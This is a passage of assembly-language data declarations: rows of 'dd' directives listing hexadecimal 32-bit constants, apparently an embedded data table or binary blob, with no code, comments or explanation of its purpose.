dd 0CB8F670Ch, 3EC1ABE9h, 4E39C433h, 0F8E33CFh, 0CF2DB873h
dd 0ACDB14E3h, 0F498D8F9h, 59EB0085h, 8A7602BBh, 32341860h
dd 810991AEh, 8C354044h, 12331119h, 6DB568A8h, 39EE3EB8h
dd 3618B92Dh, 7A6928BCh, 0ADE2B7Dh, 0DBD6E88h, 0BD7EF06h
dd 81A991B9h, 3EB8C9F0h, 360A5225h, 0B55DF410h, 73A9A115h
dd 1A2E6E8Fh, 0C7D3679Eh, 7437FB1Eh, 9A851441h, 44F96F41h
dd 0EFCEC530h, 0ABF76640h, 0D11824D8h, 6C4C75FBh, 899CC8EDh
dd 1546BD90h, 9D1ADCD6h, 21948527h, 0B047C10Fh, 2D70489h
dd 931A0CD1h, 0A85144B2h, 1A63C6F6h, 0ACE722A5h, 637503D0h
dd 0E7F26994h, 7A60215Ch, 0BA7AE2D0h, 87FC339Dh, 87FAFF7Ah
dd 943B70F5h, 4A63DA90h, 0B99B81F9h, 0E20351F6h, 9568B363h
dd 0FAC3796Dh, 7DF9CD9Ah, 0ED5D12BBh, 271F532Fh, 63DBA4BDh
dd 0A79E4EA9h, 2786A1C0h, 1B0A991Bh, 458679C6h, 7DE86E11h
dd 3DDE7AC9h, 4586E8ADh, 0D4A3EDB0h, 0D5372B7Ah, 0BC2E33DDh
dd 0D2A15231h, 721E3F5Ah, 67C102C0h, 0E16323h, 66BC895Bh
dd 0E8ECA0F5h, 622D4CFCh
dd 0B488B246h, 0ABE5D588h, 673044C1h, 2505FCBBh, 0FA668CF2h
dd 15488F0Fh, 7D9856F7h, 4ED899D1h, 60EECDBh, 146D473h
dd 0ACE28A4h, 0F3FB8B74h, 9DB431E1h, 8B9CF0B9h, 0A4CDEA94h
dd 0E0EABF3Dh, 0C3C03FF2h, 71EF043Dh, 0BCEB8DAFh, 6547481Bh
dd 73F0CF45h, 5806116Bh, 59615534h, 0B9A56A68h, 0ACC599E2h
dd 99165CF2h, 0A2BD956Bh, 6F5CAA71h, 0DF2ACD07h, 0CCF37DA2h
dd 0BCDAF0FDh, 0FBA41444h, 103D4FD8h, 4487ACBCh, 0E7624565h
dd 3E27E3FBh, 0F8FE4F48h, 994BB6D3h, 86AABB69h, 98FA6570h
dd 9557C8E7h, 0A56F1522h, 0E0DBD732h, 0D4189F9Dh, 0DE28665Ah
dd 436F924Eh, 0FF1EED33h, 4DF7EC36h, 0AD7EF4B1h, 947F97E7h
dd 0E807848Fh, 7C969A30h, 0E5C8D016h, 3CC6C046h, 0D64D8258h
dd 0E61F44FFh, 4001513Dh, 0EDF3021Eh, 585C95Bh, 2678B55Ch
dd 1D230E4h, 34249CB6h, 73D9C253h, 9DC68867h, 0FF1F3ECBh
dd 9B0F487Eh, 0BF850CFAh, 0D81C8E8Bh, 10E7E3FAh, 69ECD3ECh
dd 0B12CE957h, 0A91AE1E1h, 4407A693h, 8E519459h, 0AEE50FB9h
dd 6723E5DEh, 4872400Ah, 0ABA7B912h, 0AAC50139h, 0B34C4318h
dd 0CF914C4Ch, 8BC50427h, 3A69709Fh, 56313AFCh, 0D5DC1CADh
dd 8B9EB29Fh, 0A178D22h, 3D4E36A9h, 0C78CFABEh, 0B728AF32h
dd 0CA91F18Dh, 0BAFEBC17h, 0C35DC801h, 5E72FC54h, 0A8EA7C3Ah
dd 0BB7161CCh, 0CE4D89EAh, 76777E6Bh, 56F0CEA2h, 86533A59h
dd 22896B62h, 0B40742FEh, 4E62C73Bh, 0BC722341h, 0A0E9F6CFh
dd 83274325h, 0F4635081h, 5D3581DAh, 20579966h, 4DAFC16Fh
dd 0A05B8E07h, 27BD4BBDh, 84CFA23Ah, 0C7BA0B0Bh, 0BC9254B3h
dd 5CD24992h, 31D14AA6h, 0A72521C9h, 0C448F025h, 0DD54B2C5h
dd 270D25A3h, 0AACF5390h, 24D5E317h, 0D98A5368h, 0BE6FFD80h
dd 0B3F8E6A0h, 0ED6400EFh, 0C88FDB3Ch, 523E486Ch, 0D775781Bh
dd 3820B7F4h, 0FC32DDC4h, 917A2DEEh, 0B757764Dh, 7B071E75h
dd 0DB515EA0h, 8C54D465h, 51369409h, 2DB0B338h, 0F264917Ch
dd 0B41DAEDh, 0CAF621Dh, 83E63279h, 0BD1E9D9Bh, 1AC9ECB2h
dd 8E3C9164h, 0B5DF0A71h, 0DD76CA7Ch, 0CE34DC2h, 0B35445FCh
dd 19198F78h, 26E157B1h, 683B8111h, 0E7020C79h, 2C1D80FEh
dd 0DC6AAA22h, 0F15A4E3Eh, 85925F5h, 0E54259F2h, 7DF14222h
dd 0BA587E72h, 6BD9300h, 83BB5908h, 132CA6A6h, 1CF226F7h
dd 6884C877h, 0E75053BCh, 517EC0E1h, 0A90844DBh, 0B1CEF1C3h
dd 83E419FEh, 0DC185165h, 2DDE91DEh, 0CEDECCABh, 3A3CC1B3h
dd 46B4B37Ch, 3A28C673h, 0AE8ED86Eh, 0F4C06002h, 53389C0Bh
dd 1B9DD0C4h, 0AA5018C8h, 0C6F60B03h, 4F33D016h, 766EE3F8h
dd 0E01D0F9Fh, 62E8979Eh, 0D59A73AEh, 0F6395D61h, 0F26DA17Eh
dd 590CBD49h, 285B6530h, 363E2453h, 36CE06C4h, 3D6B78F7h
dd 0B26793CDh, 0F552A71Bh, 4355E70Fh, 0F3470089h, 3E5812Dh
dd 55A40D95h, 819D1A26h, 7A724324h, 84EAA540h, 0CF226EFAh
dd 1F2D6EEBh, 28881EFCh, 1D75884Ah, 0F897BF78h, 5BE634B4h
dd 0AF11415Eh, 0FE5E3E2Bh, 0A4DFB33Ch, 444C165Fh, 83A96D6Eh
dd 90C74324h, 9DE55934h, 5AE3265Ch, 2480E076h, 649E5678h
dd 138DDE7Bh, 511B43D1h, 0FAC086CEh, 0A3D2064Ah, 2633D1FFh
dd 572783F3h, 37DF82B8h, 0D13F7692h, 0AEAB5155h, 510791D7h
dd 2E9225B8h, 8B00B1BFh, 0DED15586h, 905EBF71h, 6779EF2Dh
dd 0CB2930F8h, 0BCAD7E09h, 85195CAFh, 7E9057B7h, 67185A99h
dd 536B0F68h, 5555FBD8h, 7AB36E8Fh, 897C7F36h, 73F73F67h
dd 0A9567702h, 1B7F5C16h, 34005FE4h, 6A7DC461h, 74EE86DAh
dd 840ED3B5h, 5933F137h, 715D6661h, 70673E67h, 0E33BD531h
dd 0B8CB5E4Fh, 5EE51A9Dh, 926E1B84h, 3813CF9Bh, 0C4FBFA6Fh
dd 0DD46399h, 93A13075h, 0FC98ADBFh, 0BCD20F18h, 2E0B7A31h
dd 50361EB8h, 0F62419D4h, 0D87442F9h, 0B8962671h, 0CAAE8688h
dd 8E3DC012h, 0AE76EDE4h, 40E02E0h, 598C526Dh, 53DCD034h
dd 0CD34219Ch, 0FF590B9Fh, 92262174h, 0D2B973E6h, 86CE2D60h
dd 0F1F83720h, 0C20F3BA4h, 3B8B1649h, 853AEE7Bh, 60FE6E26h
dd 0F99707E3h, 7EEA7A9Ch, 0EB670F48h, 5986593Eh, 23F052DAh
dd 208217D5h, 0B398829Ch, 20B46449h, 0A9A0515Dh, 0BA53EB21h
dd 5927785Ch, 2FDDD2E2h, 0C674135Eh, 7693E728h, 0FC0B27D2h
dd 4D67F9E3h, 0B5FC9001h, 0C82BA044h, 0C807C479h, 0D4CEED4Bh
dd 0D4C2035Bh, 0AE13DE9Dh, 0BC6B58A4h, 90DB32E4h, 5D494A6Ah
dd 5BDFED23h, 836ABDA8h, 666D118Bh, 3DFDAB34h, 1922CF23h
dd 5D3E2BE5h, 501E78A3h, 85403057h, 0E2FE6AE5h, 38AF0334h
dd 8944D3DBh, 3A667582h, 0D04138FBh, 0C1B612Eh, 79B0509Fh
dd 847C65Dh, 6470E0Eh, 988166B1h, 416CC845h, 0A4663A79h
dd 0B0B1E9A3h, 79125AB8h, 0CC1DA59h, 6BDBB98Eh, 0A8A84086h
dd 0B10FDD5h, 5285DF75h, 6B78F9Fh, 1F4A0299h, 0B95DDA9Bh
dd 0DF02A04Dh, 2F0D97C9h, 6DF261A4h, 89D28171h, 0E87B4A1Eh
dd 85346133h, 0E92536E4h, 0F77FEBB4h, 54972B5Ah, 0F636720Dh
dd 0C09810C3h, 5D8FFB71h, 8F39EB59h, 0D858BB1Dh, 0E33F755Ah
dd 5A4984FDh, 4EAFFBDFh, 0CE28BBADh, 0CDA8F2D7h, 3BE184B6h
dd 0D671A0D7h, 4DE548C4h, 0E431DE20h, 5ECCE30Ch, 0DCCBF01Ah
dd 0ED3ED1A8h, 4A414E76h, 3A4C05AFh, 0F6DEFCA7h, 5DBE338Bh
dd 0CA989037h, 35FE04B4h, 368AAD79h, 79519D1Ch, 205396E8h
dd 0BF7D7E2Eh, 58F39F84h, 3B52267Eh, 680DB9F5h, 0C29202B4h
dd 0FD45A70Ch, 67FBB429h, 97F67564h, 1AF6A32Ah, 0ECB1C189h
dd 9A474026h, 452DCAEFh, 16CCB962h, 56D73714h, 0CE6471E4h
dd 8363BB2Bh, 0DBC424Ch, 745620A6h, 82121FF6h, 388AA17Dh
dd 6407A2E5h, 0DA7B90E6h, 0D0F01711h, 6D8EB6C4h, 0C655194Ch
dd 929A9879h, 0C1F67245h, 0C3E8C470h, 2A7A2D8h, 0D9B2BB90h
dd 57D9C5DBh, 0A6F4C3FFh, 0E0D622E6h, 27F5680Eh, 0AC28F7DBh
dd 19311B8Fh, 7581D498h, 207C2C61h, 0CBAE8BD3h, 5D729372h
dd 92150F75h, 7CCE7D62h, 15404E0Ah, 44347AFh, 0DC490989h
dd 58E55CD0h, 236B952Eh, 0D661BDF1h, 0F8D158B1h, 85004498h
dd 0B26C2F09h, 7D7E4513h, 5FAB2DF1h, 0F9C22DD3h, 0C2385F64h
dd 0C54D35B1h, 5DD09B43h, 6F1B6C20h, 0AD77269Eh, 3DD31928h
dd 0BDBB4E3Ah, 94F01925h, 0D6CA176Bh, 198BA2D0h, 34FEE9E8h
dd 6DF1C36Bh, 0F57341B1h, 351BA5ECh, 0B6916BF4h, 0C4A8FCD7h
dd 2FECDE0Bh, 0A4D36AC0h, 0CA28EBBAh, 0C9FDC329h, 0B78B28BDh
dd 1FCDF886h, 8E68A8DBh, 8D8438A2h, 77FA1983h, 95231021h
dd 7BE24FD4h, 77F95C0Ah, 5936BA72h, 26E0E282h, 5C5B28BCh
dd 7DE9948Dh, 951F60F5h, 0D51CF256h, 5C37951h, 1E8F2DBCh
dd 0A7F78B05h, 0D19220AEh, 19C3F2F3h, 140B9A09h, 11EAC11Ah
dd 42F140ABh, 0CBC927B2h, 0BD9705EDh, 0B76546C4h, 46295EEBh
dd 0C31690F6h, 81AE56DBh, 0BA1CEC53h, 9AFA5C44h, 0B4661FA8h
dd 56EE84C2h, 0AB6F79AEh, 0E337FD5Dh, 9DC45921h, 0EA2CAF31h
dd 6E964282h, 99D81254h, 0E0FD29FBh, 23B43526h, 0E436A6E3h
dd 7BC1E9C9h, 3EAC500h, 0F58378C6h, 0D5631B1Eh, 0E3FC629Ah
dd 3FA6CD2Ch, 3FE411B8h, 0CE71EC3Eh, 0ECE58719h, 642AF592h
dd 160D75C5h, 0D18B957Ch, 652FC631h, 420AE21h, 0B452409Eh
dd 4271DAE0h, 4FB62F6Fh, 699B9600h, 31551202h, 7B4864A1h
dd 165A27A0h, 0AC6C0292h
dd 0CFF4D4F1h, 85862760h, 7603A1C5h, 502FAB7Eh, 0E95BFA6Ch
dd 8490A5DCh, 0EFB79776h, 0A936133Bh, 0DE4AE47Ch, 0CE1CF067h
dd 28690A1Eh, 0C3BA5B42h, 0B130BDACh, 2975AFE8h, 0A38DBBFBh
dd 7FD9E4EAh, 0FDC0D7F5h, 0D8FBF163h, 30BA1FDFh, 1291B767h
dd 0CB0050E2h, 8160CFF8h, 0B021BBC4h, 9C0D002Ah, 0DCD1A7D4h
dd 0DDB5FEFCh, 0F1E231D8h, 0A7450D62h, 0D5618D02h, 1C4B5BA6h
dd 0D3B4C531h, 10CF59F9h, 0ED1F2DF7h, 5F8E80D8h, 857CB5EEh
dd 2552829Ch, 38382FCBh, 9F83FE67h, 4E2625D3h, 6EEA45B1h
dd 1370AF6Ah, 6A474403h, 0DF87D3F8h, 0B4DDB71Fh, 0AA0DE557h
dd 0AF7FCDCCh, 67E02B48h, 0A837EC8h, 5BBAFE8h, 74A33656h
dd 0C4EFEFFBh, 11C3E351h, 9E747E1h, 65CC6F7Eh, 2F967D7Ch
dd 0CE9E5A64h, 79AE57F0h, 6E540F40h, 64BA7FD2h, 0D5F81799h
dd 0C4D66251h, 91B994FCh, 5B296C9Dh, 6041182Dh, 2C18671h
dd 747919BDh, 6FBB6AC1h, 0DBD9BE3Bh, 83BFB659h, 8C826628h
dd 0A4D8906Bh, 0CA078766h, 0E9A575DAh, 0A8081A91h, 911545DFh
dd 1CEB9562h, 0E54A5D04h, 0FF88804Bh, 0EC9D6FAh, 81048A13h
dd 0B49EEE01h, 0D8E694FFh, 7BED3F80h, 0CCC0D3A1h, 6EE12C28h
dd 362FF0F6h, 2981CD92h, 2DA7B09Ch, 86293763h, 40022A3Bh
dd 96AA51C9h, 0F814DAB6h, 0C4D63FBFh, 564D088Ch, 0AB91AD35h
dd 5B21CC77h, 0D128FB99h, 34685270h, 0BEC71B6Ah, 0ADAFE046h
dd 686981CCh, 200D40A7h, 0E72BA2BCh, 72BC2789h, 90B55E39h
dd 0E51718C9h, 81CF16F6h, 2BEC7CA0h, 0F46F7946h, 7D70812Ah
dd 76596221h, 91F3B574h, 8CE5595Fh, 9B2FB1A2h, 875428F1h
dd 0A1D4730Dh, 943A1F0Dh, 0A7DA12EBh, 70DB95BAh, 6104DC5Ah
dd 2A4A1AFBh, 2C1B716Ah, 22ED6907h, 0AC3EC139h, 0BBFB38C4h
dd 0A936979Dh, 0EE9B7370h, 2C3232DDh, 0B918DF3Eh, 226E3705h
dd 0C837836h, 0F65E534Bh, 53708F36h, 0F0BEAA69h, 0D8DE62CDh
dd 11C0F456h, 0A1EA074h, 91E909E8h, 0EC9B6800h, 0FCCD5336h
dd 25AC24B6h, 0B142F53Bh, 9590CA09h, 3CD3D855h, 2BC0CDD7h
dd 0EEEE296Ch, 70498FA6h, 91809B35h, 0B904BE88h, 0F8465AD1h
dd 5FE8897Ah, 59A67BA2h, 39082925h, 0F9F2CFC4h, 0BAE5AA6Ah
dd 696ECBA1h, 3B3D206Bh, 7C26F323h, 0FC994ED4h, 9A3AEAD1h
dd 0A22D987Bh, 61A2EE5Ch, 0CAEBFC8Ch, 17BD440Eh, 0BD3D7062h
dd 0A573AC54h, 93EE6DA0h, 9DB90B91h, 0A7A0C37Ah, 50431793h
dd 0B0AA187Fh, 3C2ECEF6h, 8F6C1398h, 4A148DBFh, 6BD0E3BDh
dd 3F14E7Eh, 5B0D2EE0h, 0DC3F01Ah, 0D021AF28h, 9D861C54h
dd 0B9539B65h, 1C15AB83h, 699EA651h, 7695C7B0h, 0D7BE6B5Bh
dd 0A0154385h, 1D5418F3h, 0AC70AE4Ch, 0D82E79FFh, 60AA35E4h
dd 7CC91A47h, 0F4E7E1F2h, 25E5492Fh, 0AF2414AFh, 0AB1D4812h
dd 95CA3E58h, 834713E6h, 1DB662E9h, 6C93BA19h, 0F8089C03h
dd 0DE30887Ah, 1F4EBAEBh, 32DF5F1Eh, 789361BBh, 614B794Dh
dd 0F29E1E0Fh, 0F9871272h, 0B47C92F9h, 9E30F85h, 943820A7h
dd 341275Bh, 71CA411Eh, 82FA8B08h, 56B10FA0h, 8BA7D44Dh
dd 4311EB5Dh, 4174C185h, 2F3FE0B4h, 0C830797Bh, 24535909h
dd 0FB12A49Ch, 51989C66h, 3CECEE56h, 12E42F25h, 8A93043Fh
dd 3B9B92D0h, 9CB71ED6h, 0F827F8E6h, 8F0F6A43h, 28656967h
dd 76E3E39Eh, 0CD6345DDh, 3F6A3B7Bh, 98D40F3h, 0A8EA7F91h
dd 2B0DD96Ah, 89C4691Fh, 7B684812h, 0DF215209h, 8367E4C8h
dd 91F1AA8Bh, 9621ED8Ch, 8DC6FEDCh, 0FB8B1672h, 0FB72F9F9h
dd 0DF54967Eh, 5D071006h, 876FE586h, 0B0AED201h, 66912922h
dd 0FFD292B4h, 621BC090h, 369AE045h, 87BD218Dh, 93D433D7h
dd 61AFCBBCh, 57CED4C3h, 7B68BE61h, 9378220Ah, 1221A6F0h
dd 58D6B900h, 0C70C0BF3h, 0BEBBF82h, 0A001FD7Fh, 7652B60Bh
dd 0A3356608h, 27F286EDh, 99F2A3F5h, 0F6A8B6DAh, 92CD19E8h
dd 0EAB68A1Ah, 0B705E00Bh, 438E40A8h, 0A48C148Dh, 0A85AEA0Dh
dd 4323F906h, 3643C05Ah, 0FB946F1h, 0EBDAB609h, 995C6B51h
dd 0CDFDA626h, 252331BAh, 0A60E7D3h, 8FF3F0DCh, 0A3EC4A92h
dd 0A6513586h, 508399DFh, 875DD554h, 0F9BE88DFh, 0E2585D2Ah
dd 0D53ADDB5h, 0DD3EEFB7h, 668EC5EEh, 9A4C5CA4h, 0D72F7D16h
dd 0E3893C35h, 0D1D1235Dh, 53E666CAh, 8F3EC0E5h, 0C38A59BFh
dd 72C509F3h, 98681759h, 419D4DFBh, 8635C3C0h, 0DC45504Bh
dd 6EF3A3EAh, 843700A5h, 2C7D882Dh, 0B32AAC23h, 3701CB26h
dd 0E443E2A6h, 77E3574Ah, 0F8E76483h, 85AA2B98h, 4F0D6EE7h
dd 0F275D4ACh, 6997DFF6h, 200D19CFh, 0A8FDD729h, 6DF29011h
dd 70F06077h, 12D385EBh, 68084768h, 0D84D5DC0h, 73ED4C91h
dd 45AB39F3h, 37F6BAAFh, 84B0E6Dh, 9AB64A42h, 56CD2D09h
dd 4713FFE6h, 73023ABDh, 3881F6A6h, 409F9E32h, 14DF6343h
dd 0B9902D0Eh, 8340456Eh, 0AB77FB53h, 57742304h, 98EB7037h
dd 0AF68127Ch, 6394714Bh, 0F7AB4EBBh, 793F7FBEh, 25DF2174h
dd 4720F436h, 7ECB25B0h, 26E49219h, 656411F1h, 3C36D48Ah
dd 3D0D80ECh, 0A8EFD842h, 119B4BC4h, 8CD1E817h, 0E492C287h
dd 0F77A63EEh, 77B67479h, 0CC5B20Fh, 1BB1F473h, 0ACA50A14h
dd 7D7926BCh, 3E12A4D6h, 0C9157791h, 0AD22644Dh, 0D6758F08h
dd 9E0CE930h, 0AB254C39h, 0C7979D0Ch, 6A989D7Ah, 0EB6C483Eh
dd 4964F0DDh, 0C8532469h, 33667BAh, 0D3490AA5h, 0C788E69Fh
dd 0CF79910Ah, 54135ED5h, 0E8B560A2h, 1E4CC5CBh, 696F423Dh
dd 3897D989h, 7B40D30Dh, 0E1DA2CD4h, 176B527Fh, 0D0D975CCh
dd 4F8E5B78h, 0B2150D23h, 8C508F0h, 1678E6C5h, 8A3DDC90h
dd 0E0D7D98Fh, 0BAD84123h, 0A80ED407h, 4F73CC7Ch, 89B7A798h
dd 515EDE90h, 0D48DEE55h, 86F2ABBh, 897128F7h, 5E107C4Bh
dd 0D9BD7873h, 3F3E314Dh, 6648B802h, 6AFE1323h, 19A2E10Eh
dd 0A239F589h, 33928C4Dh, 3A1D78D4h, 9CA6101Ch, 0E0502D8Fh
dd 48956CD0h, 34F6DCEEh, 0A8493E7Fh, 2E1844AEh, 0BF5FFF71h
dd 0F37F75D6h, 4E60E183h, 0D46DBD1h, 5167AE11h, 1AFE6093h
dd 0A3728CD4h, 314172FAh, 0EF15C3DFh, 888F88A0h, 0F1E5A63Ch
dd 0AA37CCB0h, 34A92060h, 0AA04F96Dh, 0E870050Ah, 0D8DE43BFh
dd 0D36A3CE2h, 73F54607h, 0AAD40018h, 58E1BC2Fh, 41F83A94h
dd 431EB91Ch, 2025BFB5h, 0EFED2F76h, 0C9B1EE83h, 2396F2D0h
dd 2577F576h, 0A2606944h, 0DA72AC31h, 96B129E8h, 242BF46h
dd 5203C30Bh, 8D42DE51h, 33A224F1h, 59CF6335h, 0D96DACB8h
dd 4812D241h, 0EB686176h, 19AD660Fh, 0B90CA53Ah, 5E5E3A9Ah
dd 5F38EA3h, 115D842Fh, 0BD9B7A6Ah, 0F2877659h, 18D4345Bh
dd 111C6C23h, 0EA18801Ch, 0D6E4A138h, 0BFA12EE9h, 0EADE4D28h
dd 39FC8BD3h, 2C51B556h, 9836D2F7h, 2BF8AF92h, 654B0E0h
dd 9AB9A1CEh, 6DE74A9Ah, 41939CBBh, 86A9ECEFh, 36211CADh
dd 6214019Ah, 5ABE405Ch, 6B2CB3FBh, 1CB0E2C4h, 57277E81h
dd 8CA24B5Fh, 8F229F46h, 7BEFBD3Ah, 0AD0F2EDh, 0CD7AAE29h
dd 2808BFC5h, 4628073Fh, 0AFB71273h, 0FBD2EFC3h, 7CB1D3C8h
dd 0B691B774h, 0FE352B3Eh, 0F4F04E79h, 1DDD7160h, 4A02F98Eh
dd 36C513Ch, 0BF16C647h, 0F0807E39h, 2D5B445h, 0A7B682B8h
dd 0EC8F0BA7h, 1921611Dh, 3431DFDCh, 0BD89FC3Ch, 946AE57Dh
dd 6145EE04h, 3987183h, 8FE0908Bh, 7BDCB353h, 511EF20h
dd 174C1E36h, 7B216215h
dd 2FF95BB7h, 0E80D040Fh, 3B7F5135h, 0DD360F45h, 3E30B67Ah
dd 0A8605773h, 515B9141h, 2D098513h, 0CC4FCE4h, 6076C1AAh
dd 1C112312h, 3C4DFA97h, 2767E815h, 99684A42h, 7FA2887Ch
dd 1A213085h, 15DDBFD2h, 0E3D2593Dh, 8F39E04Ch, 0CFB7E9E9h
dd 0E3EFD9F9h, 0B1F828C7h, 0FC19F67Ah, 0E535744Ah, 7DD13D7Dh
dd 8401FE9Fh, 4668ECD1h, 9144078Fh, 0F42DE381h, 1B312B0Fh
dd 98F96CE4h, 527CADEBh, 2F76D171h, 0B3E8E28Ch, 0BFE80123h
dd 0CA8E1550h, 0C1EB22AEh, 6A620B7Ah, 0BC28C522h, 98CEA55Ah
dd 0B381923Eh, 36A8C499h, 103C2076h, 70D88F19h, 949AD02Ch
dd 0BD84BD7Ah, 8851C048h, 1382F5AAh, 0FDF9361Ah, 2E9BC659h
dd 0F1300832h, 2D73042Dh, 0C7C50E63h, 2590B369h, 295AB23Ah
dd 36345D00h, 370604C1h, 91FE7C78h, 1E1AFFC4h, 7AF6AACDh
dd 7F64EDB9h, 47FB9CB1h, 2FB62C87h, 20630AF4h, 0C72D7AD6h
dd 7698DB1Ah, 58A45791h, 0A006DF3Dh, 8F616924h, 3F23F4AEh
dd 0FF74348Ah, 0BDF21516h, 0BEFB88B8h, 0EE39F6FCh, 8CB45B4Fh
dd 7083A9FEh, 39FEB19Fh, 5F0AD534h, 56E61500h, 5A79EC55h
dd 0B5BA21E1h, 97856FB6h, 4748816Eh, 0D1771AA3h, 99714AD2h
dd 0AFFD4D29h, 2A6F5497h, 63EC8F92h, 2089066Ch, 336480BEh
dd 4933527h, 99827A29h, 0AF5C74F2h, 0ACCE31Bh, 0F35D103Ah
dd 0EBF416BAh, 432126ACh, 9B39F3F2h, 0F0111568h, 21AB5D00h
dd 0AC4CED20h, 808D289Ch, 0CF8E14A0h, 0C2EA223Ch, 3577F8Dh
dd 0A745F06h, 0A30AAD98h, 65E11BD1h, 213E1347h, 0B9455E49h
dd 0F032A696h, 52F6E923h, 6A606D81h, 65A8F4BEh, 3972671Fh
dd 0D6E36138h, 49AAFFA3h, 57943B7Dh, 80AE8842h, 0A5E6518h
dd 0D213D651h, 69A442E6h, 42A05773h, 91773877h, 0C2E9B933h
dd 0F40011BAh, 86AA81C4h, 9F9311Dh, 52BE8147h, 36608591h
dd 0E732239Ch, 80AC748Ch, 0F77EE84Eh, 6DA8A6E1h, 0E378479Bh
dd 1CE2E9DEh, 0FBCD507h, 0F9BB5A2Ah, 0EC71E508h, 5444EC8Dh
dd 0DAA28AF9h, 8DC0EF8Fh, 72DD911Eh, 7B9C2CA0h, 98194866h
dd 6DE17BAAh, 0B98BC4E5h, 96549339h, 3DB36572h, 45578ACFh
dd 1101AEB3h, 9F0D4C7Bh, 0A02449CAh, 0BA915443h, 0BDC85CD6h
dd 0B64AF1A8h, 0BD91E059h, 0E20A83CCh, 17CE978Eh, 3FD77839h
dd 5528995Bh, 9CDF2294h, 311858h, 54714124h, 11A2A0ABh
dd 0A74A8C0Bh, 0EB0ADB66h, 92777F77h, 0B2F8E66Bh, 0B4F14FE3h
dd 0F01DFFF1h, 4CADB8ABh, 0F227061Ah, 15A286F6h, 3A3E2DC1h
dd 70F75CC9h, 0E977EB55h, 17D1FCBCh, 0A7BDC02Ch, 22518D5Fh
dd 72B8E0DBh, 0AC9833EDh, 4B1E1D6Dh, 1537AED4h, 920439C3h
dd 28A9F55Ah, 0ACC8A5F6h, 42A0B3A7h, 4EE46731h, 33FCCBCh
dd 3910DE5h, 8AAF2D18h, 7E527B5Ah, 791D5C51h, 18D7D029h
dd 9DCCD52h, 0C3F3A251h, 110E4BD7h, 0A4E4021Bh, 23401468h
dd 914FF1CBh, 711411F7h, 0F89E227Fh, 0DDB86920h, 48373A20h
dd 15FBA15Fh, 0E5427BFAh, 58C5CC27h, 57EF8482h, 18728747h
dd 51C49C9Ch, 0F32AAD67h, 0A33D0CAh, 0CDF433F7h, 400E412Bh
dd 0E65DFD06h, 1DD5A6D0h, 866AF041h, 6B68C084h, 3747D945h
dd 0C5D74F78h, 0DCD279CAh, 0BB31A44Fh, 97219F73h, 99E7813Eh
dd 0E29E87C7h, 1F62B44Eh, 18B26B57h, 92C7AD7h, 0C0FDFD41h
dd 0FE061853h, 7805B6FCh, 8ED6F226h, 2F830B9Ah, 1796399Ch
dd 10BE64E4h, 84115ED3h, 0A8522609h, 817956A4h, 0D6F98A5Dh
dd 5B42F0FCh, 0B283325Dh, 7301183Dh, 797DC608h, 0B96AF887h
dd 1D01B36Ah, 9E511DE3h, 0B532E328h, 97B6956Dh, 0E72779B6h
dd 90AB1CF0h, 0F38C2AD6h, 4A36222Bh, 157B5395h, 7DD710D7h
dd 2680282Ch, 552653A9h, 622E0FFh, 0AF4C0597h, 6552241Dh
dd 3E184622h, 0FD396CA3h, 557F73BEh, 75E1FEE6h, 409D395Ch
dd 27E8346h, 0D5E2F5Ah, 11A8D875h, 0AA026065h, 0BB592F71h
dd 99228A80h, 519AAF7Fh, 4B846990h, 5399ABF0h, 323D28DBh
dd 5E5B54A3h, 19AAE73Dh, 567944BDh, 5622AA8Ah, 0EA1500DFh
dd 0EB936936h, 0EF1B6279h, 341E60F1h, 6BA02CE8h, 0A20077DAh
dd 0EEE09503h, 78BC7447h, 0D04C5E71h, 0DC40A436h, 0B5A28FC2h
dd 0D225F923h, 0C202FF2Bh, 0F8EBB52Fh, 3E3EE415h, 1F73DD0h
dd 74F3CE9h, 0DB136B71h, 0E2502300h, 4DA434FBh, 0EC25B0C0h
dd 7C5BDE99h, 0ABA9375Fh, 8C85DD32h, 9BBD6EDAh, 44F8753Eh
dd 0D380634Ah, 0E619A3Ah, 4325164Ah, 0A5E3ACEFh, 0B29BF108h
dd 2DBD20D3h, 1EF9D678h, 34F875D3h, 614977B8h, 7091FA02h
dd 839C430Bh, 0F57E7BCBh, 13BBE50Ch, 0F4C03EA5h, 0D60D5972h
dd 8D236965h, 0E9DC4AAAh, 0E8BBD9CFh, 0B430691Ah, 0E4853349h
dd 0B92AB8ADh, 17725785h, 8B28CEB7h, 0B6CC5214h, 7F678C78h
dd 0E15E2ADBh, 46C91CF3h, 469D44CCh, 73ADB79Fh, 56D9F069h
dd 9B6215E3h, 9B38344Fh, 18C01CEDh, 9BDF3514h, 0B10997D1h
dd 9E086A48h, 0CE59B6AAh, 8267FBDFh, 0E5DFFCC0h, 5869D823h
dd 0C77939CCh, 7067EE76h, 0C41A5542h, 0A224A8F8h, 42806554h
dd 500FA0C4h, 0D543F520h, 0D0006CF4h, 37021A5Bh, 0F70ADA68h
dd 0CEB71705h, 471DEFA7h, 828AC336h, 3C888471h, 0DFBC0095h
dd 754AC4EAh, 9453C9E1h, 147EE8A0h, 63F1F273h, 9D336C3Bh
dd 6A10C065h, 0C858D01Ah, 0EF45E561h, 0D7892E51h, 7521F6Eh
dd 0A420AF72h, 30DF1122h, 0F5678382h, 0E801EDC7h, 6BC77E6Dh
dd 0F529DE3h, 0EFD5B336h, 0F95028CBh, 618437D3h, 4F5249CEh
dd 8E4DB9CAh, 0FA239F5Eh, 8FFFDAA7h, 16FCAEE5h, 2DA04212h
dd 0ECFE4966h, 0AA86F486h, 71181ECBh, 63B56E8Eh, 9D251DFCh
dd 4A479D1Bh, 215A37B5h, 3BCA2F34h, 0F0C33941h, 77A8D5F9h
dd 856227BAh, 9A298DB8h, 1DEA7C17h, 3F7BA1D1h, 0C6133FD3h
dd 0FFA53034h, 0E92AC0E2h, 0E4C3451Ch, 2CD49115h, 0ABC89B3Ch
dd 2BA10BFEh, 0D15AACABh, 93DCBACh, 384FB5D1h, 0C6946957h
dd 0CCE56EA8h, 5C040DF5h, 24BC8442h, 8B2647DFh, 0D5D1738Dh
dd 0AC1018FDh, 0FEEB198Fh, 0F760470Dh, 1B2E863Dh, 81258EC3h
dd 3CEF8B4Ah, 0AE53EC1Bh, 93D07FFBh, 0A41E4972h, 7EC15102h
dd 9D8C184Ah, 0E84C6D32h, 0ADDC0CDBh, 5587BEA5h, 5196FAD1h
dd 0D47E759h, 0CCD288C1h, 6CB37142h, 54EF5542h, 49DD6AE9h
dd 44196004h, 19E28AAh, 87FC6544h, 0F4E6623Bh, 0B511675Bh
dd 1A55A95Bh, 22E1E1DAh, 4F28030Ch, 0A1831B22h, 8E8C2CC9h
